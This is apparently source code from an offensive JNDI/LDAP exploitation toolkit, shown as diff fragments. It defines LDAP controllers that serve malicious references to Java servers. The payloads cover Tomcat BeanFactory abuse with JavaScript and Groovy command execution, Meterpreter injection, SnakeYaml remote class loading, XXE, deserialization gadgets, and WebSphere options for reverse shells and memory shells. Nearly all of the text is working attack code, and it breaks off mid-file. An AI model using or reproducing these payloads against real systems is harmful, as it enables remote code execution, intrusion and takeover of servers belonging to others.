if (payloadType.contains("command")) {
|
||||
jscode = helper.getExecCode(params[0]);
|
||||
}
|
||||
|
||||
if (payloadType.contains("meterpreter")) {
|
||||
jscode = helper.injectMeterpreter();
|
||||
}
|
||||
|
||||
|
||||
String payloadTemplate = "{" +
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||
".eval(\"{replacement}\")" +
|
||||
"}";
|
||||
String finalPayload = payloadTemplate.replace("{replacement}", jscode);
|
||||
ref.add(new StringRefAddr("x", finalPayload));
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Util.base64Decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
|
||||
private class TomcatBypassHelper {
|
||||
|
||||
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
|
||||
Field WinClassName = ctClazz.getDeclaredField("host");
|
||||
WinClassName.setAccessible(true);
|
||||
WinClassName.set(ctClazz, params[0]);
|
||||
Field WinclassBody = ctClazz.getDeclaredField("port");
|
||||
WinclassBody.setAccessible(true);
|
||||
WinclassBody.set(ctClazz, params[1]);
|
||||
return InjShell.injectClass(ctClazz);
|
||||
}
|
||||
|
||||
public String getExecCode(String cmd) throws IOException {
|
||||
|
||||
String code = "var strs=new Array(3);\n" +
|
||||
" if(java.io.File.separator.equals('/')){\n" +
|
||||
" strs[0]='/bin/bash';\n" +
|
||||
" strs[1]='-c';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }else{\n" +
|
||||
" strs[0]='cmd';\n" +
|
||||
" strs[1]='/C';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }\n" +
|
||||
" java.lang.Runtime.getRuntime().exec(strs);";
|
||||
|
||||
return code;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - Tomcat and Groovy in classpath
|
||||
*
|
||||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||
*
|
||||
* Groovy 语法参考:
|
||||
* - https://xz.aliyun.com/t/8231#toc-7
|
||||
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/groovy"})
|
||||
public class GroovyController implements LdapController {
|
||||
private PayloadType type;
|
||||
private String[] params;
|
||||
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||
" } else {\n" +
|
||||
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||
" }";
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
if (payloadType.equalsIgnoreCase("command")) {
|
||||
type = PayloadType.valueOf("command");
|
||||
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
|
||||
} else {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
|
||||
}
|
||||
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
|
||||
public interface LdapController {
|
||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||
|
||||
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target(ElementType.TYPE)
|
||||
public @interface LdapMapping {
|
||||
String[] uri();
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/memoryxxe"})
|
||||
public class MemoryXXEController implements LdapController{
|
||||
private String payloadType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
||||
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
||||
ref.add(new StringRefAddr("pathname", params[0]));
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import javax.naming.RefAddr;
|
||||
import java.util.Properties;
|
||||
|
||||
//this is a stub class required by WebSphere2 ldap handler
|
||||
public class PropertiesRefAddr extends RefAddr {
|
||||
private static final long serialVersionUID = 288055886942232156L;
|
||||
private Properties props;
|
||||
|
||||
public PropertiesRefAddr(String addrType, Properties props) {
|
||||
super(addrType);
|
||||
this.props = props;
|
||||
}
|
||||
|
||||
public Object getContent() {
|
||||
return this.props;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.commons.cli.CommandLine;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/deserialization"})
|
||||
public class SerializedDataController implements LdapController {
|
||||
public static String gadgetType;
|
||||
public static String cmd11;
|
||||
public static GadgetType gadgetType1;
|
||||
public static CommandLine cmdLine;
|
||||
private PayloadType payloadType;
|
||||
private String params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
|
||||
byte[] bytes;
|
||||
|
||||
try {
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(params);
|
||||
|
||||
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||
bytes = (byte[]) object;
|
||||
} else {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
bytes = Serializer.serialize(object, out);
|
||||
}
|
||||
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaSerializedData", bytes);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||
System.out.println("- JNDI Deserialization Links ");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
try {
|
||||
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.sethttp) {
|
||||
params = BCEL1;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.command) {
|
||||
|
||||
if (gadgetType1 == GadgetType.base64) {
|
||||
cmd11 = Util.getCmdFromBase(base);
|
||||
}
|
||||
|
||||
if (gadgetType1 == GadgetType.base64Two) {
|
||||
String encodedString = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||
String T1 = new String(decodedBytes);
|
||||
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||
cmd11 = new String(decodedBytes1);
|
||||
}
|
||||
|
||||
params = cmd11;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/snakeyaml"})
|
||||
public class SnakeYamlController implements LdapController {
|
||||
private String payloadType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
ref.add(new StringRefAddr("forceString", "a=load"));
|
||||
ref.add(new StringRefAddr("a", yaml));
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.enumtypes.WebsphereActionType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Properties;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - websphere v6-9 libraries in the classpath
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/websphere"})
|
||||
public class WebsphereController implements LdapController {
|
||||
private WebsphereActionType actionType;
|
||||
private String localJarPath;
|
||||
private String injectUrl;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
Reference ref;
|
||||
if (actionType == WebsphereActionType.rce) {
|
||||
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
|
||||
ref = new Reference("ExportObject",
|
||||
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
|
||||
Properties refProps = new Properties();
|
||||
refProps.put("com.ibm.ws.client.classpath", localJarPath);
|
||||
refProps.put("com.ibm.ws.client.classname", "xExportObject");
|
||||
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
|
||||
|
||||
} else {
|
||||
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
|
||||
ref = new Reference("ExploitObject",
|
||||
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
|
||||
ref.add(new StringRefAddr("WSDL location", injectUrl));
|
||||
ref.add(new StringRefAddr("service namespace", "xxx"));
|
||||
ref.add(new StringRefAddr("service local part", "yyy"));
|
||||
}
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
switch (actionType) {
|
||||
case list:
|
||||
String file = base.substring(base.lastIndexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
|
||||
break;
|
||||
case rce:
|
||||
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
|
||||
localJarPath = localJarFile;
|
||||
break;
|
||||
case upload:
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
PayloadType payloadType;
|
||||
try {
|
||||
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
// webspherebypass 只支持这 4 种类型的 PayloadType
|
||||
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
|
||||
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
|
||||
}
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
|
||||
switch (payloadType) {
|
||||
case command:
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
|
||||
break;
|
||||
case dnslog:
|
||||
String url = base.substring(base.lastIndexOf("/") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
|
||||
break;
|
||||
case reverseshell:
|
||||
String[] results = Util.getIPAndPortFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
|
||||
break;
|
||||
case webspherememshell:
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
